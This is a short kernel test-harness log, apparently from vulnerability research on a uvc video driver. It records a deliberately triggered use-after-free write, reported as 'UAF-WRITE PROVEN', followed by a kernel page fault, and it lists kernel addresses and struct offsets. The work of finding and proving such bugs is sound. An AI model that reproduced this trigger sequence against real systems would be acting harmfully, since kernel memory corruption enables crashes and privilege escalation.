DF-5434 / run.vuln3.log
HARNESS: loaded (real uvc sources compiled in) HARNESS: gvideo=0xfffff8008ed86880 size=1648 lane(sizeof uvc_buf)=128 off(status)=16 off(vbuf)=32 off(link)=120 sizeof(v4l2_buffer)=88 HARNESS: production cdev /dev/video96 created (0666) via uvc_v4l2_reg() HARNESS DF-5434[A1]: marker=0x5a round start HARNESS DF-5434[A1]: req1 -> mem=0xfffff80118340000 count=4 size=0x10000 HARNESS DF-5434[A1]: after sell1 buf3: mem=0xfffff80118340000 offset=0x30000 bytesused=0x1000 status=2 (still linked as product head) HARNESS DF-5434[A1]: req2(count=1) -> NEW mem=0xfffff80118340000 (OLD mem=0xfffff80118340000 was kfree'd; buf3 NOT re-inited: mem=0xfffff80118340000 status=2 bytesused=0x1000; product head=0xfffff8008ed86c50 == buf3? YES) HARNESS DF-5434[A1]: victim=0xfffff80118350000 (reclaimed old mem? no) HARNESS DF-5434[A1]: after sell2 (wrote 0xa5 x 0x800 at OLDmem+3*0x10000+0x1000) HARNESS DF-5434[A1]: UAF-WRITE PROVEN: found 2048 bytes of 0xa5 pattern inside freed/reclaimed block 0xfffff80118340000 (expect 0x800 at offset 0x31000..0x31800 => KERNEL UAF WRITE) HARNESS DF-5434[A2]: marker=0xa7 round start HARNESS DF-5434[A2]: req1 -> mem=0xfffff80118360000 count=4 size=0x10000 HARNESS DF-5434[A2]: after sell1 buf3: mem=0xfffff80118360000 offset=0x30000 bytesused=0x1000 status=2 (still linked as product head) HARNESS DF-5434[A2]: req2(count=1) -> NEW mem=0xfffff80118360000 (OLD mem=0xfffff80118360000 was kfree'd; buf3 NOT re-inited: mem=0xfffff80118360000 status=2 bytesused=0x1000; product head=0xfffff8008ed86c50 == buf3? YES) HARNESS DF-5434[A2]: victim=0xfffff801183a0000 (reclaimed old mem? no) HARNESS DF-5434[A2]: after sell2 (wrote 0x58 x 0x800 at OLDmem+3*0x10000+0x1000) Fatal trap 12: page fault while in kernel mode fault virtual address = 0xfffff80118370000 fault code = supervisor read data, page not present current process = 809 Stopped at mode_a+0x342: cmpb (%rax),%r10b